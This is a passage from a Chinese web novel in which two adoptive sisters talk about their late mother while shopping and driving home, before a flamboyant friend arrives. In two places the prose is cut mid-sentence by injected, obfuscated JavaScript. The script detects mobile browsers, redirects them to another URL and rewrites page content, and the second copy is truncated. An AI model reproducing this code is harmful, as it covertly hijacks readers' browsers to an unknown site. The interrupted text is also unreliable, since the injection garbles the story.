“当然,起初他们并没有看中我。因为我的病,他们原本更属意另一个小男孩,健康活泼,”平原的声音无波无澜,“可惜男孩子总是很抢手,几乎是一转眼,他就被另一家人领养了。” “所以他们才注意到了我,毕竟我总是努力表现得很听话、很乖巧,”她淡淡地笑了,“大概也很可怜吧。” “平心而论,福利院没有虐待我,只是我身体太差了,保育员也分心乏力。所以,那年冬天我生病了,病得很难受,烧的厉害的时候,就特别想有一个家。” “于是他们来探望的时候,我就假装自己烧得说胡话了,握住他们的手大哭,喊爸爸妈妈不要走,”平原又笑了,“哎,真是小小年纪就是演技派。” 她很少用这种轻快的语气说话,大概是不想让夏潮同情她。 夏潮没有说什么,她只是用很轻的声音问:“后来呢?” “竹篮打水一场空咯。本来他们打算要领养我的,手续流程已经开始走了,我偷听到,他们开始讨论带我去做心脏手术。” 她垂眸,看着商场中央广场来来往往的人笑了一下:“然后他们就查出怀孕了。” 造化弄人,却又无法苛责。 平原现在还记得那对夫妇很和善,即使有了自己的孩子,决定放弃领养,仍捐出部分手术费给孤儿院。 后来她筹款手术时,依旧要感激这份恩情。 “后来就是去商场的事儿了。为了安慰我,孤儿院里的老师特意带我进城玩,还吃了麦当劳,当年好像还是用那种撕成一小张一小张的优惠券点餐,”平原思忖了一下,声音轻轻巧巧,“不过我不记得麦当劳的味道了。” 因为就是在吃麦当劳的时候,老师告诉了她这件事。 这句话她没有说。没必要卖可怜,最后炸鸡腿她还是一个不剩地吃了,吃得恶狠狠。 这辈子她就在这件事情装过可怜,结果反而最糟。 任何人都休想再可怜她。 所以她只是笑了笑,用一句话做结语:“还行,我对他们感情其实也没多深。” 这是真话。毕竟只是在半年里每周见一见的关系,平原心想,从这个角度讲,那对夫妇还算逃过一劫,没养到她这个硬心肠的女儿。 至于那一场眼泪有多少真情?她的脚尖在地上划了个半圆,满不在乎地想,不记得了。 夏潮侧过头安静地看她。 平原生得真好,雪砌一般剔透的侧脸,颌线却绷紧成一道倔强的弦。让夏潮看着就忍不住想,怎么能不难过呢? 这么大的事情,如果换做是她都要难过死了,说不定还要恨上人家几年。 但她没有把这话往下说。因为她知道,平原大概是不想再提,所以她只是伸出手,安安静静地握了握,低声问:“今晚你想吃什么?” 平原抬起头,看见女孩小鹿一样澄澈的眼,手腕传来温度,是夏潮掌心的温热。她握住她的手轻晃,像小狗笨笨咬着衣角。 目光温水般漫过心脏,潮湿的水汽却堵住心房。 平原真讨厌这样的表情,比可怜她还要叫人讨厌。她偏了偏头,看见女孩子的眼神,软绵绵得不像话。 湿润的眼睛叫人感到脆弱,好在她刀枪不入。 平原笑笑,不咸不淡地说:“再议。” “先把你的睡衣买了。” 她早就看那些旧睡衣不顺眼了。夏潮这趟来,衣服带得少,也不知道她那鼓鼓囊囊的大背包都装了些啥。 平原不愿再看见自己精心搭配的灰蓝色床品四件套上出现一只神经兮兮的海绵宝宝,一看就是三四年前夏玲花五十块三件买的丑衣服。 虽然她自己也踩着十九块九两双的打折拖鞋,但那不一样,她这叫钱花在刀刃上。 很讲究生活品质的平原镇静又冷酷地想,丝毫不觉得自己和夏玲母女相像。 夏潮不知道她在想什么,已经走到家居店了。店内色彩灯光都十分柔和,天花板上垂下大朵大朵软乎乎的装饰棉花。 导购员笑容满面地迎上来:“精梳棉家居服149元两套,亲肤柔软、轻盈透气,感兴趣的话看看哦?” 夏潮侧过头看平原。 平原:“……” 她轻咳一声,矜持地不置可否:“我看看。” 最后买了四套,折上折共计二百五,平原单独给自己买了一件真丝睡裙,又是一个二百五。 夏潮左看右看,不敢说话。 买完睡衣,她们到楼下连锁超市又逛了逛,给冰箱补货了牛奶水果蔬菜,又买了消毒湿巾和消毒液。 洁癖果然是洁癖,平原连消毒液也要认真比较一下是柠檬味好闻,还是新出的栀子花味好闻。 其实夏潮也爱干净,但她不会去纠结消毒剂的气味。她看着平原一本正经的侧脸,忽然觉得很可爱。 虽然平原总是一副看着冷冷的甚至有点厌世的样子,但又出奇地很在意生活品质,哪怕她做饭一塌糊涂,厨房里还是要配大铁——呃,铸铁锅和珐琅锅。 这点其实平原和夏玲很像。夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345706|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮悄悄想,夏玲也是一个无论如何都尽力干净舒服得体的女人。 哪怕她生活在泥泞中。 但夏玲敞亮,年轻时就是风风火火大嗓门,而平原更嘴硬些。夏潮想起自己小时候喂过的流浪猫,白乎乎的一小团,不太亲人,只在饭点过来,挑剔地喵喵叫两声。 但是如果你伸手摸摸它,猫也不会发火,只会甩甩尾巴表达一种软绵绵的不高兴,像是在问:“好了吗?” 然后你松手,猫跑掉,下回开饭照旧过来,喵喵叫着催得挑剔。 夏潮意识到自己情感的奇妙。她不自觉地觉得平原和夏玲像,但想起夏玲的大嗓门,她只会觉得内心又安宁,像回到八岁那间幽凉的、铺着竹席又半掩着绿花窗帘的卧室。 而现在看见平原,她却想动动指尖,去碰碰小时候那团温热的白影子。 但她什么也没做,安静地看平原纠结一番,最终还是把经典款柠檬香放进手推车。 然后她们开车回家。 夏潮其实已经有些困了,本来白天上班晚上上课就累,更别提她现在生理期,腰更是酸得发软。 买的东西放在后座,她坐在副驾驶上,扣着安全带,低头有一口没一口地喝热奶茶。 奶茶是平原买的。原本说好背完《逍遥游》,奖励她一支甜筒,谁也没想到半路事故,盼望了一路的冰淇淋彻底泡了汤。 夏潮也不知道自己究竟企盼个什么劲儿,明明上班就天天在打甜筒。 可能因为这是平原说好要买给她的,她在乎这个,就像幼儿园时在乎一朵小红花。 好在热奶茶也好喝,三分糖加布蕾珍珠,甜甜的,喝起来像吃蛋糕。 她有个坏习惯,走神时总会咬吸管,先把吸管咬扁,再换一个角度把吸管咬方,平原边倒车边看后视镜,余光里瞥见夏潮腮帮子鼓鼓的,一本正经地嚼嚼嚼,像只忙碌的仓鼠。 虽然夏潮才是会做饭的那个。她的手总是很稳,纤长又骨节分明的手握住刀把,就能炫技般飞出齐整的葱白和薄透的鱼片。 也不知道做菜这手技艺是不是夏玲教的。平原抿着唇想,如果是,那她就可以理不直气也壮地说自己做饭难吃是情有可原了。 反正她没有妈妈教。 车开出地库了。盛夏阳光倾泄,照得马路一片发白。汽车发烫,空调也呼呼地调大了风速,平原握住方向盘,闻到车后座飘来一丝淡淡的鱼腥味。气味新鲜,所以不算惹人讨厌。 平原喜欢喝鱼汤,但讨厌杀鱼。因为她害怕看见菜市场把鱼开膛破肚摊开,只剩一颗小小的心脏,在血泊里扑通扑通跳。 这让她想起手术。 所以,刚才夏潮在水产区挑鱼,她便故意站得远远的,让夏潮提溜着鱼一路小跑来找她。 她承认自己这一瞬间有报复的小小快乐。 夏潮并不知情,她只是以为她讨厌鱼腥味,小心地伸出干净的那只手,笑眼弯弯望她:“走吗?” 她掌心温暖,眉眼清隽,微笑起来像颗年轻的星星。平原看她一眼,却故意伸手把她拍掉。 夏潮也不生气,只是晃晃脑袋,马尾划出柔软弧线。 究竟要有多少爱才教出这样的小孩?这样温和坦荡的脾气,简直叫人生恨。平原垂下眼睫想,如果是夏玲,会这样照顾她,为她煨鱼汤、梳头发、在她考砸的试卷签名,再无奈地摸摸她的头吗? 她没有答案。平原第一次惶惑,意识到夏玲在自己的记忆里,除了恨,便是一片空白。 唯一能够追忆妈妈的方式,竟来自这样一个血缘、亲缘都毫无关系的陌生人。 明明她才是被收养的。 平原眯起眼睛,到路口了,红灯跳绿,远处行道线在阳光下白得发亮。她向左转弯,听见自己的声音:“夏潮。” “夏玲是一个什么样的人?” 她试探着问,恨自己竟开始好奇。 16. 旧电台 Yesterday 听见平原这个问题的时候,夏潮愣了一下。 其实她有很多话可以说。夏玲当然是一个很好的妈妈,她的爱,体现在许多生活的细节上。夏天的晚上,夏玲为她打蒲扇,用滴过花露水的清水擦洗竹席,在床头挂丝线串的茉莉花。 冬天她会织毛衣围巾还有毛线秋裤,彩色的粗棒针围巾将夏潮严严实实裹成小熊,每天出门都听见她叮嘱:“拉好衣领啊!风灌进去会生病!”于是夏潮也骑着单车,在风里一叠声应答:“知道了知道了!” 早上的时候,她们喝白粥当早饭,配菜是一个在粥面上蒸得热腾腾的咸鸭蛋,对半剖开,黄澄澄的蛋黄起沙流油,夏玲用筷子单独拣出来给她。 夏玲做菜总是很好吃。夏潮爱吃她做的冬瓜白贝肉片汤、榄角蒸排骨、淡菜炒萝卜丝、蒸水蛋……很长一段时间里,三年级的她每次写《我的妈妈》,总要被语文老师无奈地戳脑瓜,说你这是写作文还是报菜名呀?凑字数不能这么凑,评卷老师看得肚子饿,可不会给你高分数。 但最后她往往总能得到中等偏上的分数,年轻的语文老师性格温柔,总会用红色圆珠笔认认真真地划出那些色香味美的句子,娟秀批语委婉地写:真情动人。 夏潮知道,她毫无疑问是在爱里长大的。但现在,她却只是沉默。 片刻之后,她才克制地说:“夏玲是一个很好的人。” “她生病之前是清洁阿姨,工作很辛苦。每天大清早就得爬起来上班,周六日还要去给别人家做保洁,总是被很多人看不起,”夏潮一字一句地说,“但我觉得没有什么丢脸的。” 她的声音很认真:“因为她扫的地永远最干净。” 平原怔愣了一秒。夏潮便也抬起眼睛,诚恳地回视她。可惜汽车仍在行驶,她们的目光未曾对视,平原只是目不转睛地盯着前方,把注意力投到路上。 于是,夏潮便只能一个人平静地看着前方,听见自己的声音轻轻地再次重复:“夏玲是一个很好的人,也是一个很好的妈妈。” 这是真心话。如果在以往,关于夏玲的细节,她还会有很多话讲,就像她小学的作文一样。 童年的她最喜欢讲早晨的魔术,那是清早睁开眼就会在被窝里发现的、热乎乎的叉烧包茶叶蛋,还有炸得金黄酥脆的麻球油条,这是清早下工的夏玲给她带回来的早餐,如果她一个上午都不能回家,那么,她就会提前在电饭煲里煮好咕嘟冒泡的白粥——早晨七点半,不需要睁开眼睛,就能闻到满屋都是热腾腾的粥米香。 但夏潮什么也没有说。 她略去了许多和夏玲生活的细节,因为她已经长大了,再也不需要愁眉苦脸地抓着圆珠笔,去凑三百字的作文。 而她也已经知道,曾经那些温热香甜的惦念,在失去之后再一桩桩细数,就变成在伤口上撒盐。 尤其是对平原来说。 所以,她只是用很温柔的声音说:“从小到大,她给我准备的东西都是一式两份,夏天的茉莉花,她用丝线串成三串,一串给我,另外两串她单独带在手腕上,冬天的毛线围巾,也织两件,一件火红的围在我脖子上,另一件雪白的,夏玲就收进衣柜里。” “她始终觉得你会回来。”她轻声说,那些隐隐作痛的回忆,在知道是平原在倾听之后,就变得平静。 如同月光照过伤口。 她声音带笑:“我小时候可讨厌你了。小时候我皮得很,一条围巾戴出去半天,很快就变得脏兮兮,但是我妈死活不肯把衣柜那件给我,她说那条围巾是留给你的。” “我当时就天天盯着你那条漂漂亮亮的白围巾,心里哼了又哼,说你怎么还不回来。” “还有我小时候闯祸也是,夏玲每次都揍我,我就哇哇大哭,说你就是不爱我,只爱我姐,要是我姐犯错你肯定不会这样子抽她!” 扑哧。平原似乎笑了一声,但夏潮偏头看她,却只看见一张不动声色的脸:“你妈怎么说?” “她就继续抽我啊,”夏潮苦着脸地说,“她说你才不会和村子口的大鹅打架。” 这下平原是真笑了,传说中那般唇角上扬两个像素点:“我确实不会。” “所以我讨厌你啊,”夏潮半真半假地接话,又认真地看她,“但你笑起来真好看。” 像昙花,香气缥缈,映入眼中只得一瞬。 世界上最可怕的就是年轻女孩认真的眼睛,玩笑都清澈得像情话。车身偏移一瞬,又回归直线,平原的嘴角放平,握住方向盘的动作淡定从容:“确实欠抽。” “也有很冤枉的时候好吧,”夏潮抗议,“很多时候都是他们先欺负我的啊!” “怎么欺负?” “就是打球抢地盘打不过我,就带高年级的人来和我打架。” 她的声音不再带笑:“还有说我是没人要的丧门星和狗杂种。” “所以我把他们都打了一顿。” 她不会忘记那一个下午。起初只是因为打球,她和朋友们到得早,就占了这个小球场,没想到半小时后,一帮男孩过来,趾高气昂地说这儿一直是他们的地盘,要她们让位,滚到一边跳皮筋去。 然后就发生了口角,再上升到肢体摩擦。男孩上来推搡,要扯她的头发,却被夏潮抓住手腕,转眼就跟他们扭打做一团。 小孩打架没有章法,全靠逞凶斗狠,而在这方面,夏潮从来不输。那几个男孩骂着脏话,一拳头打得她鼻血直流,耳朵也嗡嗡响。而她默不作声,吐一口血沫到地上,反手扭住对方臂膀,把那几个野小子按在地上摩擦。 水泥地粗粝,皮肉最薄的膝盖和下巴瞬间就血肉模糊。那些起初还在嘴硬的人,很快就痛到从骂娘变成喊妈妈。 一直打到保安发现冲过来,她才放开手。为首的男生是场上唯一的五年级学生,半路被小弟搬救兵加入战场,却被夏潮打得像猪头,自觉颜面受损,仗着大人在场,满脸鼻涕眼泪地破口大骂,说你等着!不就是个没人要的狗杂种吗! 丧门星!贱人!野种!他大叫,未必完全懂得意思,但鹦鹉学舌的恶意已足够叫人鲜血淋漓——扫把星!你妈捡了你,才把你爸克死,害她守了寡! 夏潮又给他了一拳。这一次,她打得更狠,挥拳间自己的鼻血也滴到地上。 野杂种就野杂种。那一刻,夏潮想,她宁愿当一头尖牙利齿的小兽,浑身尖刺直立,就算被逼到角落的时候,也要龇牙咧嘴地低吼,扯下对方最后一块肉来。 最后那男的毫无防备,被她打掉一颗大牙。虽然只是刚刚松动的乳牙,但也足够他满嘴血汪汪,痛得杀猪般扯着嗓子哭爹喊娘。 无论多少次回忆那个滑稽场面,夏潮的嘴角都会浮现出一缕笑。 车载空调嗡嗡地吹出冷风,平原开着车,瞥了女孩一眼,看见她捧着奶茶出神,唇角微微带笑。 神采飞扬的少年气,一种英勇的骄傲,让平原忍不住也翘了唇角。 “后来呢?” “后来啊,”夏潮想了想,“后来就是仇怨结下咯。一群手下败将又找了高年级的当帮手,在我下课路上堵我,要剪我的衣服和头发,连老师都惊动了。” “不过你放心,”奶茶凉了,她低头又嘬一口,腮帮子鼓鼓的,锋利不再,又像只仓鼠,“我向来打得过就打,打不过就跑,不但头发好好的,短跑成绩还提高了。” 她用很温软的声音一本正经道:“就是后悔当初没再打狠一点,把后面的仇提前报了。” 还挺懂超前消费。平原微笑:“那很好。” 她心里并不惊讶。 究竟是谁说的少女总由裙摆、蝴蝶结和砂糖组成?真正的少女分明是跃跃欲试的小狼或幼豹,天生有一根旗帜高扬的反骨,也随时准备在悬崖上一跃而下。 只有经历过少女时代的人,才懂其中的天真与残忍,狡黠与脆弱。 轮到平原唇角浮起一缕笑:“我也被剪过头发。” 她声音平静,倒是夏潮吓了一跳——多奇怪,她对自己的事情很坦荡,可轮到平原,她反而揪心起来。 “后来呢?”她小心翼翼地问。 “后来就听他们的话剪喽。” 平原闲适地答,纤长手指搭在方向盘上,镇定从容,并无半分屈辱。 夏潮本能地觉得没有这么简单:“你骗人。” “爱信不信,”平原却轻巧地答,“我说得可是真话。” 她眯起眼睛冷冷一笑。 这笑容与往日都不同,轻盈冷冽又嚣张,夏潮愣了一秒,追问的时间便滴答错过,再想开口,平原已经用问题堵住了她的话。 “所以,”她目视前方道路,一针见血地指出,“你没有告诉夏玲她们骂你的话,是不是?” 夏潮想了想,坦然地回:“嗯。” “为什么?” “因为夏玲来了。”夏潮柔声说,没有打算撒谎。 她还记得那天下午,家长很快就被叫来了,一群手下败将鬼哭狼嚎,倒显得她多混蛋似的——虽然确实是她把大家打得满地找牙啦。 自家宝贝儿子被揍得鼻青脸肿,家长指着她破口大骂野崽子,而她擦掉嘴角血沫,正要冷笑着说是他嘴贱该打。 但话未出口就噎在喉头。因为夏玲来了。 她永远记得那一天,夏玲挡在了她的前面,声音冷硬,像铁钎凿进水泥地。 后来她才知道,那个家长之所以这样高傲,一上来就不分青红皂白,其实是因为夏玲那段日子就在他家做保洁阿姨。 每周一次的上门打扫,定在周六早上九点。而她打架那天正是周末,前一天,夏玲正和那个家长见过。 但即便如此,她还是听见夏玲一字一句地说,夏潮是我的女儿。 我的女儿从来不会随便动手,一定是你们有人先欺负了她。 这是她第一次听见夏玲这样严肃的语气。思绪电光石火,夏潮就在那个瞬间决定把话咽下。 所以,最后她只是倔强地仰起头,说,是他们先用球砸我,我才动的手。 “那个时候你就已经知道收养这件事了。”平原低声说。 夏潮摇摇头:“也不算。” “当时只是本能地没说,”她垂下眼睫,“是后来才琢磨出来的。” 为什么家里会有走失的姐姐,为什么会有那些笃定的风言风语,为什么班主任兼语文老师每次在她提起妈妈的时候,都会特别认真地看着她,说你妈妈很爱你。 大概是夏玲特意和班主任打过招呼,希望她保守秘密,对夏潮多一些关注。 小县城不算大,今天的秘密,明天就变成传闻。好事的人用传闻伤害她,爱她的人们用秘密保护她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345707|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而她决定做一个英勇的小少女,收起尖刺,保护她的妈妈。 秘密封缄,一晃便是近十年。 “直到现在,我也不知道夏玲究竟知不知道,三年级时我就猜到了这个秘密。”她坦然地微笑,笑容如此刻天空晴朗。 或许很多年前,她们就已在朝夕相处里心照不宣,又或许直到夏玲临终前递出收养证,她才真正决定将秘密揭晓。 无论如何都没关系,秘密不重要,爱最要紧。 车内再一次陷入沉默,轻柔的音乐在车内流淌,平原还是很安静,她平静地换了一个档位,然后,夏潮听见她很轻很轻的一声叹息。 这一刻不需要使用言语。 世事多玄妙。平原知道自己应该恨夏潮的坦荡,恨她鸠占鹊巢却又被爱包围。但此刻,她却离奇地被夏潮的心绪所感染。 她想起刚刚夏潮谈起夏玲是坦荡的神色,原来,她们的母亲是一位保洁阿姨。 所以夏潮才会在她第一次讥讽,说没有学历就只能扫大街的时候认真的反驳,世界上还有很多普通人,她们出身不好,工作不好,可是她们没有错。 因为她那时眼中的恶意,必定刺伤了夏潮。 但是她什么也没有说,没有反驳她的高傲,甚至,连夏玲的事情都没有讲,只是柔声地安慰她,说这不是你的错。 我们被这个世界逼着走上了一条头破血流的路,又被命运施以嘲讽,不是我们的错。 是世界太坏了,对她,对夏潮,对夏玲都一样。 夏潮其实是一个很有教养的人。平原注视着日光下发亮的柏油陌路,轻轻地想。这教养指的当然不是多么显赫的家世,而是她仿佛天生就具备同理心,永远会用赤诚的心,平等地对待她人。 夏玲应当是一个很好的妈妈,因为,她把夏潮教得很好。如果她们能早一些成为姐妹,如果她也能在夏玲活着的时候做她的女儿,那么,她的童年应该也会幸福的。 空调冷气安静地吹着,在这个阳光灿烂的下午,树叶都被照得发亮,仿佛童话故事里小王子的桂冠。而平原静默地望着这一切,意识到,她好像理解夏潮了。 因为她也在怀念夏玲,怀念她们共同的母亲,如那夜她们共同遥望一轮明月。 ——为什么人们总把思念比作月亮? 很久以后平原会想起来,或许,她就是在思忖的这一刻,真心地觉得她们成为了姐妹。 但现在,她只是觉得有某种陌生的情绪在身体里冲刷而过。她默不作声地坐着,听见车载音箱已经开始放新的一首歌。 叹息般的声音填满空白,旋律摇曳,如旧电台遥远的声波。夏潮安静地坐着,托着下巴,正在看液晶屏幕上一行行歌词滚过: Allmybestmemories 所有美好的记忆  ebackclearlytome 都清晰浮现 Somecanevenmakemecry 有些让我泪流 Justlikebefore 像时光流逝 It''''syesterdayoncemore 如昨日重来 《YesterdayOnceMore》,平原随着旋律轻轻说,它是很老的一首歌了。 快到家了,她望向前方。 这是一个平平无奇的午后,阳光强烈,车窗外的世界白得晃眼。烈日下的柏油路蒸腾着热浪,空调吹出冷风,带来嗡嗡的白噪音。掌心皮革开始升温,她握着方向盘,三秒之后,终于下定决心。 “夏潮。” 她喊她的名字,认真地说:“你教我做饭吧。” 夏潮惊讶地睁大了眼睛,旋即微笑,似乎想要说些什么。 但却没有说出口。 到家了,汽车开进小区停车场,突然出现的荫蔽让眼前一暗,下一秒,轿车驶出树荫,景色又骤然明亮起来。 一个熟悉又陌生的女人站在单元门的阴影里,头戴墨镜,举着手机,似乎正在不耐烦地说些什么。 直到平原的车开到眼前,她才抬起头,展露笑容。 “怎么不接我的电话!” 车窗摇下,女人的声音传进耳朵,平原下意识低头,才发现在她开车的时候,手机里已经不知不觉地塞满了微信消息。 【Mirror:我今天在Q市跟拍,你有空不?一起吃个饭呗?】 【Mirror:[未接来电]】 【Mirror:?平原你到哪里去了?去约会?有情况啊?】 【Mirror:[未接来电]】 【Mirror:我不管了啊!回程车票是明天,我将闪击楼下!】 “……”真受不了朱辞镜。平原抬起头,面无表情。 而这一切落在夏潮眼里,就变成了家门口忽然来了个张扬惹眼的漂亮女人,红唇黑裙尖头高跟,一股子妩媚的英气。 火红的长发,阳光下丝绸般闪耀。 平原才解开安全带,她已大步流星地走来,一把拉开车门,左右开弓,往平原的脸上结结实实地亲了两口:“宝宝!我想死你啦!” 行径嚣张!丝绒红的唇印落在平原白皙的脸上,夏潮睁大眼睛,承认自己那一瞬间气得想龇牙。 17. 咬樱桃 捉、奸、在、车。 这是朱辞镜拉开平原车门的第一个想法。 她今天拜访平原完全是个意外。原定早上结束的广告拍摄,因为一些问题,结束时间延后了一个半小时,让朱辞镜不幸错过回S城的高铁。 周末的短程高铁难买得很,她在候补抢票和含泪购入长途一等座之间犹豫五分钟,果断决定收拾细软,投奔Q市的亲亲好友。 也就是平原。 按理说平时的朱辞镜也不是那种不请自来的客人。但因为她跟平原实在太熟,所以她清楚地知道平原这个女的,私人生活和她的名字一样,平直坦荡,简单无聊。 每个周末,朱辞镜在和女嘉宾们date的路上给平原发消息,问在干什么,得到的结果都只有睡觉、看书、做运动。 刚工作那会她还很八卦,贼眉鼠眼地问是那种运动。 得到的答案是单手小哑铃三组,卷腹三组,肩背拉伸一组,因为做过心脏手术,所以连运动强度都非常克制,绿色健康得令人发指。 后来她就不问了。 很长的一段时间里,朱辞镜都觉得平原这女人简直就是台精密仪器,不抽烟不恋爱不熬夜,好像只要维持生命最低需求,就能永不出错地工作下去。 所以,在拉开车门的那一个瞬间,她完全没想到,平原会大变活人、金屋藏娇。 藏的还是这么俊俏一个年轻女人。她目光扫过去,映入眼帘的就是一张气质干净的脸,高挺的鼻梁带着英气,嘴唇与下颌的线条却精巧柔和。 她看见女孩长长的睫毛忽闪了一下,旋即便露出万分戒备的神色。 可惜没什么杀伤力。阳光下她的瞳孔被照成琥珀色,温润清亮,像一头警觉的小鹿。 吃挺好。久经情场的朱辞镜欣慰地想,自家老朋友平时一副要飞升无情道的模样,事到临头还是很有审美的嘛。 于是她连带着看夏潮也分外顺眼了。朱辞镜探头进车内,假装没看见对方戒备的表情,笑眯眯地率先伸出了自己的手:“你好呀小朋友,我是朱辞镜。” 女孩子看起来警惕依然,但还是很听话地伸出手,搭上来,和她握了一握:“你好,我叫夏潮,潮水的潮。” 一板一眼的,像小狗握手。朱辞镜又要在心里嘀咕了,原来平原好这一口? 她又想起女孩纤细高挑的个子,简单素净的马尾,青葱水嫩,简直一颗小白杨树。 “妈呀,”她用胳膊肘快速地捣了捣平原,低声道,“你该不会谈了个女大学生吧。” 平原:“……” 她就说怎么从刚才开始朱辞镜就贼兮兮的,和夏潮俩人在车子里大眼瞪小眼,两条警犬似的。 原来脑袋里都是黄、色、垃、圾。 她不动声色地拧了朱辞镜一把,咬牙低声道:“滚。” 她实在怕朱辞镜再口吐狂言,又低声警告:“她是高中生。” “竟然是J……” JK。最后一个音没有发出来,朱辞镜瞪大眼睛,电光火石间,把最近的事走马灯般过了一遍。 陌生女孩,高中生,平原找她借高考资料,平原说她最近多了个妹妹。 正儿八经的,有收养证的,上了户口本的,和平原一个妈的,妹妹。 朱辞镜觉得自己要死了。 夏潮愣在原地,不知道为什么刚刚在自己面前还像美女蛇一样嚣张的女人,一瞬间态度变了一百八十度。 “你好啊小朋友!我是朱辞镜,是你姐的朋友兼大学同学!” 她气沉丹田,正气十足,好像刚刚那个贼眉鼠眼的人只是错觉。 夏潮:“……” 对方似乎误会了什么,至于误会了什么,夏潮没太懂。 因为她刚刚就听到最后几个字,大学生什么都。 于是她也微微笑着,再一次伸出手,认真解释:“你好,我还不是大学生。” ……朱辞镜又一次觉得要死了。 可惜出来混的总是要还的。平原显然不打算救她,简明扼要地介绍了一句“她就是朱瑗的姑姑”,就啪地锁了车,揪着朱辞镜的领子把她塞进了单元楼。 “走吧,”她不忘回头关照了一句,顺手拎走了夏潮手里的一袋菜,“夏潮?” 朱辞镜总觉得她后面那句喊夏潮明显更温柔。 见妹忘友。她一边幽怨地想,一边踩着高跟鞋咬牙切齿爬楼梯,六月端午刚过,楼道人家的铁门上还挂着艾草和菖蒲,鼻尖飘来一阵清香。 她不得不承认这个小区的确又清净又有烟火气,平原这女的,在你觉得她清心寡欲的时候,她偏偏又挺懂生活品质。 叫人更不爽了。 可惜楼道感应灯近日不太灵光,没人注意到她眼神里的冷箭嗖嗖。 等终于到家,朱辞镜哀嚎着脱下了脚上的细高跟,本想把这美丽刑具随手一扔,但想起这是她这个月新买的JimmyChoo,还是小心翼翼地放了下来。 平原看着她轻拿轻放的动作,心里微不可闻地叹了口气。 就像朱辞镜就总怀疑她早晚要铰了头发做姑子,平原也不懂她为什么总是对这些身外之物分外执着。 JimmyChoo的鞋,Prada的包,西太后的裙子,配TF16的斯嘉丽红。朱辞镜像虚张声势的雀鸟,明明自己的翅膀已足够漂亮,却仍旧惶惶不安,试图往身上插满孔雀的羽毛。 仿佛心里有个空洞,总想用光鲜亮丽的东西去填满。 因为担心,平原委婉地提过这件事儿,但总是得到对方淡淡的苦笑,久而久之,便也不提了。 羽毛就羽毛吧,这年头人人都光鲜靓丽拜高踩低,朱辞镜并不伤害任何人,平原觉得她有资格让自己开心一点。 更别提她真的见过朱辞镜因为失恋,裹着黑色羽绒服缩在学院楼下哭到心碎的样子。 每个人都有自己注定要打的仗。平原换上拖鞋,走过去给朱辞镜倒杯水,一低头,却发现手里被谁塞了个杯子。 夏潮笑眼弯弯地看她,先给她递了杯蜂蜜柠檬水,再转身去给朱辞镜倒茶。 酸酸甜甜的,很清新的柠檬味道,蜂蜜加得不多,但因为冰镇过,所以有种冰冰凉的甜味。 平原果然低头喝了起来。她平时总板着脸,只有恰好对了口味,眉眼才会很轻地舒展开,像只挑剔的猫。 让人很有成就感。自从发现这一点,她就对投喂平原很感兴趣。 朱辞镜义正言辞地拒绝了柠檬水,说在控糖,夏潮便给她倒了杯大麦茶。 然后她就提着菜进了厨房,留空间给平原和朱辞镜叙旧。 身后便传来两人的笑声,主要是朱辞镜在笑。夏潮听见她吐槽自己最近对接的艺人团队要求有多严苛。 “大小姐有什么了不起的啊!不就是又有钱又长得好看吗!”老远都能听到她悲愤的声音,“谁不是大小姐了!我还是Miss.Mirror呢!” 夏潮不知道她还夸张地比划了个美少女战士的动作,只觉平原似乎为两者的毫无关系沉默了一刹,片刻后,夏潮听见她波澜不惊的声音:“咪咪虾条。” “……再板着脸说冷笑话我就报警。” 确实很冷啊!夏潮忍不住笑出了声。 那厢对话仍在继续。工作上的事儿,和同事吐槽多有不便,朱辞镜也算是憋了几个月,终于抓住老朋友大吐苦水。 她绘声绘色地说:“你知道柏溪雪有多讨人厌啊!我们的宣发流程有个专访活动,本来都已经约好一个时尚顶刊,结果大小姐事到临头突然变卦,非要她自己指定的杂志不可,跟点菜似的!” “最关键的是,你知道她指定了什么?《真言》啊!人家是正儿八经的社会新闻杂志,插一个明星进去合适吗!” 朱辞镜猛拍大腿:“当时真是快把我整疯了,调停版面、取消《S》的约稿,还得拟定一个特有洞察和调性的选题,我真是愁得头发都咔咔掉!” 朱辞镜表情相当痛苦,显然深受折磨。平原想了想,对这个访谈确实有印象。 那篇稿件反响挺好的。她象征性地安慰了一下朱辞镜:“至少后续热度很不错。” 朱辞镜回答她的是愤怒:“最讨厌的就是这里了!” 她幽怨:“采访她的记者是我高中学姐,我以前可喜欢她了,结果柏溪雪的团队,居然把她一个素人绑过来炒cp,不要脸!凭什么她能和我学姐炒cp!” 原来症结在这里。平原了然,她对朱辞镜这段故事略有耳闻。起因大概是朱辞镜高中午休时遇上暴雨,一位美丽学姐出现,大发善心地撑着伞送她回了宿舍,从此就被朱辞镜深深地记在心里。 这故事倒没有什么恋爱要素。作为纯粹的颜狗,朱辞镜只是纯粹地看脸。学姐本人估计对此都一无所知。平原本着八卦心态掏出手机搜了搜当时的cp词条,虽然只有零星的几张远景图,但确实是女才女貌,十分登对。 “挺配的,”她点点头,给朱辞镜下了诛心判词,“你是毒唯最恨真嫂子。” “你这张嘴早晚遭报应!” 客厅里又是一阵叮铃哐当,平原总是很擅长面无表情地惹人生气。夏潮一边竖起耳朵听,一边忍不住跟着笑。 今天晚上她准备做鲫鱼豆腐汤。夏潮将鱼肉倒进碟子,又低下头,开始切姜丝。 淡黄色的细丝在刀下一缕缕坠落,辛辣气味漫开,像某种魂魄。她忽然想起夏玲,很小很小的时候,夏玲似乎也是这样,将薄薄的姜片叠在一起,一丝丝细细地切。 